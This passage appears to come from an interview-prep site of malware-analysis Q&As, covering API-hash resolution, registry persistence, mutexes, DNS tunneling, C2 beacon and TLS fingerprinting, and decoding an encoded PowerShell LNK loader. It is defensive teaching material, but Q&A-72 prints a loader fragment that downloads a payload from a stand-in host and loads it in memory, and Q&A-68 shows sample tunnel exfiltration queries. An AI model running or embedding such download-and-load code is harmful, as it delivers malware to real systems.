def djb2(name: bytes) -> int:
h = 5381
for b in name:
h = ((h * 33) + b) & 0xFFFFFFFF
return h
# Target constant pulled from the resolver loop, for example 0x91AFCA54
target = 0x91AFCA54
candidates = [b"VirtualAlloc", b"LoadLibraryA", b"GetProcAddress", b"KERNEL32.VirtualAlloc"]
for name in candidates:
if ror13_hash(name) == target:
print("match:", name.decode())In practice, generate the candidate list from the real export tables with pefile or by parsing the DLL on disk, and try the input variants systematically: name alone, name with null, uppercase DLL plus dot plus name, Unicode encoded. A match on one variant usually confirms the whole scheme. Record the variant in your notes, because the next sample from the same family may change only the seed.
Where this misleads you
Hash collisions are real. A 32-bit hash over roughly 1,600 kernel32 exports will collide occasionally, and malware authors sometimes rely on checking a second hash or a function prologue byte to disambiguate. If your brute force returns two names for one constant, check which one the code actually calls by following the return value, and confirm in a sandbox with a breakpoint on the resolver return.
Forwarded exports break naive matching. HeapAlloc in some DLLs forwards to another module, so hashing only the first DLL misses it. Ordinal-only imports have no name to hash, and delay-loaded imports resolve through a separate thunk. A changed seed, such as XORing the initial value with a campaign ID, makes a known ROR13 constant useless until you recover the seed from the config or from the loop initialization. Stack strings have a parallel trap: a string built with a rolling XOR key decodes correctly for the first few bytes and then diverges, so a partial decode that looks like LoadLibrary may hide a different final character.
Confirm the recovered list dynamically. Break on the resolver, log each returned address, and compare it with the API monitor output from the sandbox run. If the static list says VirtualAlloc and the run shows a call to NtAllocateVirtualMemory at the same address, you have found a syscall stub or a forwarded export, and that distinction matters for detection rules. Report the algorithm, seed, input variant, and the recovered names together. A bare list of API names without the scheme cannot be reused on the next variant.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-65Walk me through how a sample hides its imports with GetProcAddress and hashed API names, and how you recover the full API list in static and dynamic analysis?
The 90-second answer
A sample with a tiny import table is not doing less, it is resolving more at runtime. The usual stub imports only LoadLibraryA and GetProcAddress from kernel32.dll, sometimes VirtualProtect to make a writable buffer, and then builds every other API name on the stack or compares hashes of those names. Statically you recover the list by finding that resolver, extracting the constants it compares against, and matching them against export names from the DLLs it loads. Dynamically you hook GetProcAddress itself and log every name or ordinal it is asked for, which catches names built at runtime that static matching misses.
// Typical resolver stub, x64 Windows
typedef FARPROC (WINAPI *GetProcAddress_t)(HMODULE, LPCSTR);
typedef HMODULE (WINAPI *LoadLibraryA_t)(LPCSTR);
HMODULE h = ((LoadLibraryA_t)LoadLibraryA)("ws2_32.dll");
FARPROC p = ((GetProcAddress_t)GetProcAddress)(h, "connect");
// Obfuscated variant: no "connect" string in the binary, only a hash constant
// if (hash_api("connect") == CONSTANT) resolve_and_call();The hash is often ROR13, rotate right by 13 bits then add the next character, because it is short to implement and cheap to brute force. Other families use CRC32, FNV-1a, djb2, or a custom loop with a seed taken from the module base. The algorithm matters more than the exact constant. Once you know it, you generate the same hash for every export in ws2_32.dll, wininet.dll, advapi32.dll and the other DLLs the sample loads, then look up the constants in the binary. One widely documented ROR13 value is 0x7C0DFCAA for GetProcAddress itself, which is a useful sanity check that you have the right variant before you trust the rest of the list.
Recovering the list with a script
Do not hand compute hashes. Run the same loop the sample uses over the export tables and let the script do the matching, so the constants in your report are reproducible:
# Python 3, requires pefile; run against clean copies of the target DLLs
import pefile
def ror13(name: str) -> int:
h = 0
for c in name.encode():
h = ((h >> 13) | ((h << 19) & 0xFFFFFFFF)) & 0xFFFFFFFF
h = (h + c) & 0xFFFFFFFF
return h
# constants = {0x7C0DFCAA, ...} # read from the resolver function in Ghidra
for dll in ["ws2_32.dll", "wininet.dll", "advapi32.dll"]:
pe = pefile.PE(dll)
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if exp.name and ror13(exp.name.decode()) in constants:
print(dll, exp.name.decode(), hex(ror13(exp.name.decode())), exp.ordinal)If a constant matches nothing, try the variants before you label it unknown: hash including the null terminator, uppercase name, wide string, or add then rotate instead of rotate then add. A mismatch on the known GetProcAddress value tells you which variant the sample uses.
Worked trace: dynamic hook log
With a Frida hook or a debugger breakpoint on GetProcAddress, a typical run logs the module handle, the requested name, and the caller. That log is the second list to put in the report:
| Module | Requested name | Caller | Interpretation |
|---|---|---|---|
| ws2_32.dll | connect | 0x4011A0 | outbound socket, check following send/recv |
| wininet.dll | InternetOpenA | 0x401240 | HTTP client setup |
| advapi32.dll | CryptEncrypt | 0x4013F0 | payload or config encryption |
Diff the static and dynamic lists. Anything only in the dynamic list was built at runtime, for example decrypted from a blob just before the call. Anything only in the static list is a capability the sample has but did not use in that run, which often points to a dormant branch, a logic bomb, or a second stage that never arrived. Both lists belong in the report, labelled as static or dynamic.
Static versus dynamic recovery
| Approach | What it catches | Where it fails |
|---|---|---|
| Static hash matching | APIs resolved on every run, dormant code paths, names never sent to GetProcAddress as plain text | Runtime built names, encrypted string blobs, hashes with a per run seed, direct syscalls that skip GetProcAddress |
| Dynamic hooking with Frida, API Monitor, or a debugger breakpoint | Plain names, ordinals, the DLL handle passed in, and the order of resolution | Code that checks for a debugger, sleeps, or only resolves a second stage after a C2 reply, so the sandbox run never reaches it |
| Hybrid: static list first, then force the calls | Confirms which static matches actually execute and reveals the rest | Needs a safe VM and time to patch or emulate the checks that gate execution |
In practice I start static. Find the resolver by looking for the two imports, then for cross references to them, then for the hash loop. FLOSS and capa help surface decoded strings and capability, but the hash lookup is manual work. Then I run it with a hook. A Frida script that intercepts GetProcAddress and prints module, name or ordinal, and return address gives the dynamic list.
Failure modes to name
Hash collisions are real with 32 bit hashes, so a match is a lead until you confirm the call site makes sense for the surrounding code. A connect match feeding a loop that builds an HTTP request is credible. The same hash feeding a registry write is not, and you should check for a collision or a different hash variant. Samples also resolve by ordinal, which gives you a number with no name, so you map it against the export ordinal table for that exact DLL version. And some families skip GetProcAddress for the APIs that matter most and issue direct syscalls, in which case an empty dynamic log tells you about the evasion, not about the sample being benign.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-66Which of the registry Run and RunOnce keys runs only once at the next logon and is then deleted by Windows?
The 90-second answer
RunOnce. A value under HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce or the HKLM equivalent runs at the next logon, and Windows then deletes the value. A value under Run runs at every logon until someone removes it.
That deletion is the detection difference. You can find a Run entry days later by reading the key. A RunOnce entry may already be gone, so you need Sysmon or EDR telemetry from when it was written or executed.
Run | RunOnce | |
|---|---|---|
| Path | ...\CurrentVersion\Run | ...\CurrentVersion\RunOnce |
| Hive | HKCU for one user, HKLM for all users | Same |
| Trigger | Every logon | Next logon only |
| After execution | Value stays | Windows deletes the value |
| Typical use | Long term persistence | Installer, updater, or one time loader |
Checking both keys
# PowerShell 5.1. Run once as the user, and again elevated for HKLM.
$paths = @(
'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run',
'HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce',
'HKLM:\Software\Microsoft\Windows\CurrentVersion\Run',
'HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce'
)
foreach ($p in $paths) {
if (Test-Path $p) { Get-ItemProperty -Path $p }
}Read the value data as well as the name. Malware commonly points it at %APPDATA%, %TEMP%, or a rundll32 or powershell command line. Legitimate updaters also use RunOnce, so the file path, signer, and command line decide whether a hit is suspicious.
Why telemetry matters for RunOnce
Sysmon Event ID 13 records a registry value being set, and Event ID 1 records process creation. A typical trace:
| Time | Event | Detail |
|---|---|---|
| 14:02:11 | 13 | Value set under RunOnce: C:\Users\a\AppData\Roaming\upd.exe |
| 14:02:12 | 1 | upd.exe created by the sample |
| 09:15:03 next day | 1 | upd.exe created by explorer.exe at logon |
| 09:15:04 next day | 12 | RunOnce value deleted |
Autoruns run at 09:20 would show nothing for that entry. The Event ID 13 at 14:02 and the Event ID 1 at logon are the evidence.
Two practical points. A standard user sample can write HKCU without admin rights, so hunting only HKLM misses it. And if execution fails or the machine loses power mid run, a RunOnce value can survive and run again, so treat the deletion as the normal case rather than a guarantee.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-67A sample calls CreateMutexW with Global\MSWinZonesCacheCounterMutexA0 and exits on ERROR_ALREADY_EXISTS, yet that name appears in unrelated families: how do you tell a true single-instance guard from a campaign-tracking mutex, and what do you check before reporting it as an IOC?
The 90-second answer
A mutex name alone proves almost nothing. I check whether the code actually branches on the result of creating it, and whether the name is derived from the sample's config. A true single-instance guard calls CreateMutex, tests GetLastError() == ERROR_ALREADY_EXISTS, and the second process exits or waits. A campaign-tracking mutex is usually created and ignored, or its name embeds a campaign ID, build ID, username or machine GUID decoded from the config, so the operator can count distinct infections or keep campaigns separate. The same string appearing in unrelated families is common, because authors copy names from legitimate software or from each other's samples.
// Checked against Windows 11 SDK, CreateMutexW semantics
HANDLE h = CreateMutexW(NULL, FALSE, L"Global\\MSWinZonesCacheCounterMutexA0");
if (h == NULL) {
// Creation failed. Check GetLastError(): ERROR_ACCESS_DENIED is common
// when another user or a higher integrity process owns the object.
return 1;
}
if (GetLastError() == ERROR_ALREADY_EXISTS) {
// Second instance. A single-instance guard exits here.
// A campaign marker often closes the handle and continues anyway.
CloseHandle(h);
return 0;
}
// First instance owns it until CloseHandle or process exit.
RunPayload();
CloseHandle(h);Three details in that snippet decide the interpretation. Global\ puts the object in the session-wide namespace, visible across Terminal Services sessions. Without it, the name is per-session, so the same sample can run once per user session. The security descriptor matters too. If the first creator sets a restrictive DACL, a second process running as a different user may get ERROR_ACCESS_DENIED instead of ERROR_ALREADY_EXISTS, and naive code that only checks for the latter will run a second copy.
| Pattern | Branch on ERROR_ALREADY_EXISTS | Name source | Second instance behaviour |
|---|---|---|---|
| Single-instance guard | Yes, exits or waits on the handle | Hardcoded, often mimics a legitimate app | Exits, or blocks in WaitForSingleObject |
| Campaign or build marker | Often no, handle closed and execution continues | Campaign ID, GUID or build string from decoded config | Continues, sometimes beacons the name |
| Victim identifier | No | Username, hostname or machine GUID appended at runtime | Continues, name differs per host |
| Legitimate reuse | Yes, but in a known benign binary | Documented Windows or vendor name | Normal app behaviour, not an IOC alone |
Worked trace
Assume the sample above, run twice as the same user in one session, with no pre-existing object.
| Step | Process | Call | Result | GetLastError() |
|---|---|---|---|---|
| 1 | First | CreateMutexW(NULL, FALSE, name) | Handle returned, object created | ERROR_SUCCESS |
| 2 | First | Payload runs, handle held open | Owns the mutex | n/a |
| 3 | Second | CreateMutexW(NULL, FALSE, name) | Handle returned to same object | ERROR_ALREADY_EXISTS |
| 4 | Second | Guard branch taken | Exits, closes handle | n/a |
| 5 | First | Process exits | Object destroyed, name freed | n/a |
If step 4 instead continued to network activity, I would reclassify it. The mutex is then a marker, not a guard, even if the name looks like a guard. I confirm this dynamically by pre-creating the mutex in a test harness before launching the sample. If the sample still beacons, drops files or injects, the guard claim fails. If it exits cleanly with no child processes, the guard claim holds for that build.
Why names collide across families
MSWinZonesCacheCounterMutexA0 is a real Windows name. Malware authors reuse it precisely because defenders and analysts have seen it in benign telemetry, and because a hunt for that string alone generates noise. Other reused names follow the same logic: names from browsers, updaters and security products. When I see the same mutex in two samples, I compare the surrounding code before clustering. Same name plus same ERROR_ALREADY_EXISTS branch plus same exit path suggests shared code or a shared builder. Same name plus different branches, different namespaces (Local\ versus Global\) or a name built by formatting a config value suggests independent reuse.
I also check for the Linux and cross-platform equivalents when the sample is not a PE. Linux malware uses flock on a lock file under /tmp or a Unix socket bound to a fixed path for the same purpose, and the same test applies: does the second instance fail to acquire the lock and exit, or does it proceed? The artefact differs, the logic does not.
Failure modes that change the verdict
Mutex squatting is the main one. An analyst, a defender or a previous run can pre-create the name. The sample then reports ERROR_ALREADY_EXISTS on a clean host and exits, which looks like sandbox evasion but is just a leftover object. I clear named objects between runs and record whether the object existed before execution. A second failure is the abandoned mutex. If the owning process terminates without releasing a mutex it had acquired with WaitForSingleObject, the next waiter gets WAIT_ABANDONED. Code that treats any wait result other than WAIT_OBJECT_0 as fatal will exit even though no live instance exists. A third is integrity and session mismatch. A sample running elevated creates Global\ objects that a standard-user second copy cannot open, so single-instance enforcement silently breaks across privilege levels.
For reporting, I never list a mutex as a standalone IOC. I report the name with the namespace, the branch behaviour observed, whether the name was static or config-derived, and the pre-creation test result. That combination separates a guard worth hunting for from a copied string that will fire on clean machines.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-68How does DNS tunneling encode exfiltrated data in queries and responses, and what traffic features let you detect it?
The 90-second answer
DNS tunneling puts the payload in the name being looked up. The infected host encodes a chunk of data as subdomains under a domain the attacker controls, for example mfrggzdfmztwqyjgmvzg64tbnzq====.tunnel.example.com. The local resolver forwards that query, eventually to the attacker's authoritative server, which decodes the labels, logs the chunk, and replies with the next instruction or an acknowledgement. No direct connection to the attacker is needed. The resolver does the delivery, and DNS is allowed out of most networks even when HTTP proxies block everything else.
Encoding choice is constrained by DNS. A label is at most 63 characters and a full name 253 characters, and names are case-insensitive in practice. That rules out plain Base64, which needs case and uses characters outside the hostname set. Hex works but wastes space at 4 bits per character. Base32 is the usual choice at 5 bits per character and only A-Z and 2-7, so it survives resolvers that lowercase or mangle names. Some families use a custom Base64 variant and rely on case preservation, which breaks through some resolvers and is itself a detection signal. Data is often compressed or encrypted before encoding, which raises entropy and defeats simple string searches.
Worked trace
Assume the parent domain is t.example.com and each query carries three 63-character labels. Base32 decoding gives roughly 39 bytes per label, so about 117 bytes per query before sequence numbers and checksums are stripped.
| Query | Decoded chunk | Meaning |
|---|---|---|
0001.mfrggzdfmztwqyjg.t.example.com | sequence 1, first bytes of file | exfiltration, chunk 1 |
0002.nfxgo3dpmvzg64tb.t.example.com | sequence 2, next bytes | exfiltration, chunk 2 |
0003.onswg4tfoj2a.t.example.com | sequence 3, final bytes plus checksum | end of transfer |
Reply: TXT "ACK 0003" | acknowledgement | server confirms receipt |
At 10 queries per second that is about 1.2 KB/s upstream. Slow for a large archive, fast enough for credentials, documents, and command output. Downstream capacity depends on record type. An A reply carries only an IPv4 address, so tools use it for tiny acknowledgements. TXT and NULL replies can carry hundreds of bytes per answer, which is why TXT dominates in captures of iodine, dnscat2, and Heyoka style tools. MX and CNAME sit in between and appear when TXT is filtered.
Detection
Do not alert on one long name. Aggregate by parent domain over a window, say 10 minutes, and look for a combination that benign DNS rarely produces together.
| Feature | Tunneling signal | Common benign cause |
|---|---|---|
| Unique subdomains per parent | Hundreds to thousands, never repeated | CDN hostnames, usually a bounded set |
| Label length and entropy | Labels near 63 chars, Shannon entropy above about 4.5 bits per char | Hash lookups, also high entropy but short and structured |
| Query volume per host | Sustained high rate to one parent domain | Software update checks, spread across many parents |
| Record type mix | TXT, NULL, or MX at unusual share | TXT for SPF and DKIM, low volume and known names |
| Response pattern | Large TXT answers, very low TTL, many NXDOMAIN during setup | Normal TTLs in hours, NXDOMAIN rare |
A quick triage script in Python flags candidates for review. It is not a verdict.
import base64, math
from collections import Counter
def entropy(s: str) -> float:
counts = Counter(s)
n = len(s)
return -sum((c / n) * math.log2(c / n) for c in counts.values())
def try_base32(label: str):
padded = label.upper()
padded += "=" * (-len(padded) % 8)
try:
return base64.b32decode(padded)
except Exception:
return None
# Flag labels longer than 40 chars with entropy above 4.5
for label in ["mfrggzdfmztwqyjgmvzg64tbnzq", "www", "mail1234"]:
print(label, round(entropy(label), 2), try_base32(label))False positives matter. Chrome sends random three-label probes, antivirus products encode hashes into lookups, and DNS blocklists encode queried domains. Those produce high entropy names but low volume per parent, repeated structure, and known suffixes. Tunneling stands out because volume, uniqueness, and length rise together for a single parent domain, the decoded bytes reassemble into a file or shell stream, and the host often shows no matching HTTP session to that domain. Confirm by capturing the authoritative side in a sandbox, reassembling chunks in sequence order, and checking for a checksum or file header at the start. If the chunks decode to compressed data with a known magic after decompression, you have exfiltration, not just suspicious DNS.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-69You see HTTPS beacons every 60 seconds with a hardcoded User-Agent and jittered intervals in a pcap: how do you use headers, user-agent and timing to confirm C2 and estimate the jitter, and what would make you doubt it?
The 90-second answer
I would not call it C2 from periodicity alone. I would check three things in the same capture: the HTTP request looks machine-generated rather than browser-generated, the timing fits a sleep loop with jitter rather than a human or updater pattern, and the response or URI carries tasking or an identifier that changes in a way a normal service would not.
Start with headers and user agent. A browser on Windows 10 sending to a normal site normally sends a current Chrome or Edge UA, Accept-Language, Accept-Encoding, and a header order and TLS fingerprint that match that browser. A sample using WinINet, WinHTTP, or a hardcoded HTTP library often sends a UA that is stale, generic, or mismatched to the host. Examples I treat as suspicious in context: Mozilla/5.0 (Windows NT 6.1; WOW64) on a Windows 11 host, Mozilla/5.0 with no product token, a UA copied from an old Cobalt Strike or Emotet profile, or a UA that never changes across hosts in a campaign. Header order matters too. Wireshark and Zeek preserve it, and a fixed order such as Host, User-Agent, Content-Type, Content-Length, Connection with no Accept family is common for embedded HTTP stacks. Add TLS: JA3 or JA4, certificate issuer, SNI, and HTTP/2 settings separate a browser from curl, Go, Python requests, and WinHTTP even when the UA is spoofed.
Then measure timing. For a beacon with base interval B and jitter fraction j, a common implementation is sleep = B * (1 + uniform(-j, +j)), or sleep = B * uniform(1-j, 1+j). With B = 60 s and j = 0.20, expect deltas clustered between 48 s and 72 s, with a median near 60 s. A fixed Sleep(60000) loop gives deltas near 60 s plus processing and network time, often 60.1 to 61 s. That difference is the test.
# Python 3.11, timestamps exported from tshark: tshark -r capture.pcap -T fields -e frame.time_epoch
import statistics
ts = [float(x) for x in open("beacon_times.txt") if x.strip()]
deltas = [round(b - a, 3) for a, b in zip(ts, ts[1:])]
med = statistics.median(deltas)
lo, hi = min(deltas), max(deltas)
# Estimate jitter from the observed spread around the median.
# For uniform jitter, half-range / median approximates j.
est_jitter = ((hi - lo) / 2) / med if med else 0
print(f"n={len(deltas)} median={med:.2f}s min={lo:.2f}s max={hi:.2f}s est_jitter={est_jitter:.2%}")
print(deltas)Worked trace, hypothetical but labelled as such. Suppose I extract connection start times for one host to one rare domain:
| # | Start offset (s) | Delta (s) | Delta minus median |
|---|---|---|---|
| 1 | 0.0 | - | - |
| 2 | 54.2 | 54.2 | -5.8 |
| 3 | 117.9 | 63.7 | +3.7 |
| 4 | 169.4 | 51.5 | -8.5 |
| 5 | 232.1 | 62.7 | +2.7 |
| 6 | 281.8 | 49.7 | -10.3 |
Median is about 58.5 s, range is 49.7 to 63.7 s, estimated jitter is about 12%. That fits a 60 s base with roughly 15 to 20% jitter once I allow for processing time and a missed or merged connection. It does not fit a fixed 60 s sleep, and it does not fit user browsing, which is bursty and rarely returns to the same rare host for hours.
| Pattern | Timing shape | Header and TLS shape | Likely reading |
|---|---|---|---|
| Fixed sleep beacon | Deltas within about 1 s of base | Hardcoded UA, sparse headers, rare domain | C2 or implant check-in |
| Jittered beacon | Deltas spread symmetrically around base, often 10 to 30% | Same as above, URI often carries an ID or encoded blob | C2 designed to evade threshold rules |
| Software updater | Periodic, often hourly or daily, sometimes with backoff | Vendor UA, valid cert chain, signed metadata | Benign until proven otherwise |
| Telemetry or analytics | Periodic, small fixed-size POSTs | Vendor SDK UA, known endpoint, stable schema | Benign, but check payload fields |
| Human browsing | Irregular, clustered in sessions | Full browser header set, varied hosts | Not a beacon |
I would doubt the C2 call if the domain is a known update or telemetry endpoint with a valid certificate, if the UA and TLS fingerprint match the installed application, if responses are signed updates, or if the interval changes with user activity, screen lock, or network state in a way that matches the legitimate client. I would also doubt a jitter estimate built from fewer than about 20 beacons, from a capture with packet loss, or from connection times that include long downloads. A 5 MB payload download every 60 s will widen deltas for reasons unrelated to sleep jitter.
Two failure modes catch analysts out. First, some malware adds jitter only after a failed connection, or uses a different interval for tasking versus keepalive, so a single median hides two loops. I plot deltas in order and look for clusters, for example 60 s keepalives plus occasional 300 s task pulls. Second, sandbox time acceleration and VM clock skew compress or stretch intervals. I compare the pcap timestamps with host process start times and, where possible, rerun with a longer capture instead of trusting a 10 minute sandbox run.
For reporting, I would cite the exact UA string, header order, JA4 value, URI pattern, median and range of deltas, estimated jitter, and the count of beacons. That lets another analyst reproduce the call from the capture without taking my word for it.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-70What does the SNI field in a TLS ClientHello reveal during C2 analysis, and why is it visible even though the payload is encrypted?
The 90-second answer
SNI, Server Name Indication, is the hostname the client asks for in the TLS ClientHello, extension type 0. It travels in cleartext before the handshake encrypts anything, so a passive capture shows the intended C2 domain even though the HTTP body or beacon payload stays hidden. That is the one-step answer. The follow-up an interviewer expects is what you pair it with: the certificate the server returns and the JA3 fingerprint of the client.
# Wireshark/tshark: pull SNI and certificate fields from a pcap
tshark -r capture.pcap -Y "tls.handshake.extensions_server_name" \
-T fields -e frame.number \
-e tls.handshake.extensions_server_name \
-e x509sat.printableString -e x509sat.uTF8String \
-e x509af.subject -e x509af.issuer
# Zeek ssl.log: one row per connection, with JA3 and JA3S
cat ssl.log | zeek-cut id.orig_h id.resp_h server_name ja3 ja3s validation_statusWorked trace from one ClientHello
| Field in capture | Value (hypothetical example) | What it tells you |
|---|---|---|
tls.handshake.extensions_server_name | cdn-update.example.net | Hostname requested. Compare it to the DNS answer and the destination IP. |
tls.handshake.ja3 | a0e9f5d64349fb131de0c539024f1e5 | MD5 of version, cipher list, extensions, curves and point formats. Fingerprints the TLS client stack. |
| Certificate SAN / issuer | SAN cdn-update.example.net, self-signed, 3-day validity | Mismatch or self-signed cert on a supposedly legitimate CDN name is a strong C2 indicator. |
| Certificate SHA-256 fingerprint | 9F:2A:... | Stable IOC to block and hunt for, even if the domain rotates. |
Why each signal matters, and where it breaks
SNI gives you the name, not proof of legitimacy. Malware can set SNI to a real CDN domain while connecting to a different IP (domain fronting), or omit SNI entirely. Encrypted ClientHello (ECH), where deployed, encrypts the inner ClientHello including the real SNI, leaving only a cover name. DoH also hides the DNS query that would corroborate the SNI, so you fall back on the IP, certificate and JA3.
Certificate inspection covers the server side. Check subject and SAN against the SNI, issuer (self-signed or a free CA rarely used by the claimed brand), validity window (days rather than a year), and whether the same fingerprint appears across unrelated hosts. In TLS 1.3 the certificate is encrypted after the ServerHello, so you only see it if you have the session keys, a proxy you control in the sandbox, or the server sends it in a form your tooling can log. JA3S, the server equivalent, helps on the Zeek side.
JA3 covers the client side. It hashes the ClientHello parameters, so a custom malware TLS stack, an old OpenSSL build, or a Python requests client each produce a distinct, repeatable value. Clustering hosts by JA3 plus SNI separates one implant family from browsers on the same network. It is not an identity: GREASE values, TLS library upgrades and deliberate randomisation change it, and many benign applications share the same OpenSSL JA3. Treat a JA3 match as a lead to confirm with the certificate, destination and beacon timing, never as a verdict on its own.
In a report I would cite all three together: SNI for the requested name, certificate fingerprint and SAN mismatch for the server, and JA3 for the client stack. Any one of them alone has a benign explanation. Together, on a host with no matching browser process, they are enough to defend a C2 finding.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-71How do you analyse suspected QUIC and DNS-over-HTTPS C2 when TLS inspection shows only encrypted UDP/443 and HTTPS/443 traffic?
The 90-second answer
Assume you have a pcap from a controlled detonation and, ideally, host telemetry for the process that made the connections. QUIC and DNS-over-HTTPS both hide content inside traffic that looks normal at the IP layer, so split the work: recover what passive decryption gives you, recover more only when the client supplies keys, and use metadata when neither is available.
QUIC runs over UDP, usually port 443. Its Initial packets are protected with keys derived, per RFC 9001, from the Destination Connection ID in the packet and a version-specific public salt. That means Wireshark can decrypt Initials passively, with no keylog, and expose the TLS 1.3 ClientHello inside: SNI, ALPN, supported versions and QUIC transport parameters. Handshake and 1-RTT application keys are different. They come from the TLS handshake secrets, so you need a keylog written by the client process itself, for example Chromium, a Go or Rust QUIC stack, or msquic, via SSLKEYLOGFILE in that process's environment, or a qlog file from the client. Setting SSLKEYLOGFILE for tcpdump does nothing, because tcpdump never terminates TLS.
DoH is DNS carried in HTTPS, typically POST /dns-query with Content-Type: application/dns-message, or GET /dns-query?dns=<base64url>. If the sample uses a public resolver such as 8.8.8.8 or 1.1.1.1, a passive capture shows only TLS to a known resolver IP. You need a resolver or proxy log you control, a local DoH proxy the sample is pointed at in the lab, or endpoint telemetry showing the DNS transaction before encryption. Do not claim payload recovery from a pcap alone in that case.
# Capture only. tcpdump writes no keylog.
tcpdump -i eth0 -w sample.pcap udp port 443 or tcp port 443
# Run the sample (or browser) with the keylog in its own environment
SSLKEYLOGFILE=keys.log ./sample
# QUIC Initials decrypt passively; Handshake and 1-RTT need keys.log
tshark -r sample.pcap -o tls.keylog_file:keys.log -Y quic -T fields \
-e frame.number -e quic.tls.handshake.extensions_server_name \
-e quic.tls.handshake.extensions_alpn -e quic.version
# DoH: look for the HTTP shape, not DNS on port 53
tshark -r sample.pcap -Y 'http.request.method=="POST" && http.request.uri contains "dns-query"' \
-T fields -e frame.number -e http.host -e http.request.uri -e http.content_typeA worked trace from a lab run (hypothetical figures, labelled as such) shows why the two protocols need different evidence:
| # | Time | Observable | Interpretation |
|---|---|---|---|
| 1 | 0.00 s | UDP 443, QUIC Initial, DCID a1b2…, SNI cdn-update.example.net | QUIC handshake, candidate C2 domain, decrypted passively |
| 2 | 0.04 s | QUIC Handshake, ALPN h3, version 0x00000001 | HTTP/3 over QUIC, decryptable only with the client keylog |
| 3 | 0.09 s | 3 short UDP packets, 180, 240, 190 bytes, 60 s apart | Beacon pattern after handshake |
| 4 | 60.1 s | Same DCID, 1-RTT packet, 220 bytes | Tasking or heartbeat, body still encrypted without keys |
| 5 | 60.2 s | TCP 443 to 1.1.1.1, POST /dns-query, 512 bytes | DoH lookup, likely resolving the next C2 name |
| 6 | 60.3 s | UDP 443 to the SNI from step 1 | Connection to the resolved host |
Separating malware from benign QUIC and DoH
Browsers generate most benign QUIC and DoH. Chrome and Firefox use QUIC to large CDNs and DoH to a configured resolver, with browsing bursts, many distinct SNIs and normal certificate behaviour. A sample that contacts one rare SNI over QUIC, sends fixed-size packets at a 60 second interval and never renders a page is a stronger signal. Check the process that owns the socket in endpoint telemetry, the JA4 fingerprint of the ClientHello inside the QUIC Initial, and whether the SNI was registered recently or appears on only one host.
Failure modes matter in a report. Encrypted ClientHello hides SNI even in the QUIC Initial, so a missing SNI does not mean no handshake occurred. QUIC connection migration changes the 5-tuple while keeping the DCID, which breaks naive IP blocklists. DoH to a major resolver blends with browser traffic, so blocking 1.1.1.1 or 8.8.8.8 at the firewall breaks legitimate resolution and proves nothing about the sample. A sample can also use DoH only for resolution and QUIC for the actual C2, as in the trace above, so analysing one channel in isolation misses the chain.
For detection, write the rule on what you can actually observe. For QUIC, alert on the decrypted SNI from the Initial, or on a rare JA4 plus beacon timing when ECH or missing keys block that. For DoH, alert on the process making the HTTPS request, the dns-query URI in proxy logs, or the decoded DNS name from a controlled resolver. State plainly in the verdict which parts came from decrypted payloads and which came from metadata, because a customer will ask that question next.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-72A phishing ISO contains a LNK that launches PowerShell with -EncodedCommand to fetch a second stage: how do you decode it and identify the staging URL and payload without running the original script?
The 90-second answer
I would not run the LNK or the PowerShell command as delivered. I would extract the target from the LNK, decode the -EncodedCommand argument statically, and read the script for the staging URL, the download method and the filename it requests. That gives me the second stage to inspect on its own terms, without giving the loader a chance to check the VM, the date or the network first.
Start with the LNK. Parse it with a tool such as LNK Parse or oletools and record the target path, arguments, working directory and icon location. In this chain the target is usually powershell.exe and the arguments contain -WindowStyle Hidden -EncodedCommand <blob>, sometimes with -ExecutionPolicy Bypass or -NoProfile. The icon often points at a legitimate document inside the ISO to make the shortcut look like a PDF or invoice.
-EncodedCommand is Base64 of a UTF-16LE string. It is not encryption, so decoding it is deterministic and safe to do offline. A short Python snippet does the whole job:
import base64
blob = "UwB0AGEAcgB0AC0AUwBvAG0AYQBuAGQ=" # replace with the value from the LNK
script = base64.b64decode(blob).decode("utf-16-le")
print(script)For a real sample the decoded output is usually a few lines of obfuscated PowerShell. Common patterns are [char] concatenation, -join, string reversal, IEX or Invoke-Expression on a downloaded string, and DownloadString, DownloadFile, Invoke-WebRequest or Net.WebClient to fetch the next stage. I deobfuscate by hand in a text editor or a PowerShell parser, replacing the character codes and joins until the URLs and variable assignments are readable. I do not paste the result back into a live shell.
Worked trace
| Step | Artefact | What I recover |
|---|---|---|
| 1 | LNK target and arguments | powershell.exe -WindowStyle Hidden -EncodedCommand ... |
| 2 | Base64 blob decoded as UTF-16LE | Obfuscated script with IEX and a download call |
| 3 | Deobfuscated script | Staging host, URI, user agent and requested filename |
| 4 | Staging response, fetched in the sandbox or from a controlled host | Stage 2 file, hashed with SHA-256 before execution |
| 5 | Stage 2 header check | Magic bytes show whether it is a PE, script or encrypted blob |
A typical decoded fragment looks like this in structure, with the real values filled in from the sample:
$u = 'https://cdn-update.example.net/x7f2.bin'
$wc = New-Object Net.WebClient
$data = $wc.DownloadData($u)
# decode $data in memory, then load itThe URL, the URI path and the filename are the staging indicators I report. The attachment hash alone is weak here, because many campaigns generate a unique ISO and LNK per recipient while reusing the same staging host and URI across the campaign.
Static decode versus sandbox detonation
Static decoding is faster and safer for the first stage. I get the URL and the download logic without executing anything, and I can search the decoded script for a second encoded blob, a XOR loop or a hardcoded key that protects the stage 2 file. The limit is that some scripts build the URL at runtime from a date, a hostname check or a value returned by a first request, so the static text only shows part of the chain.
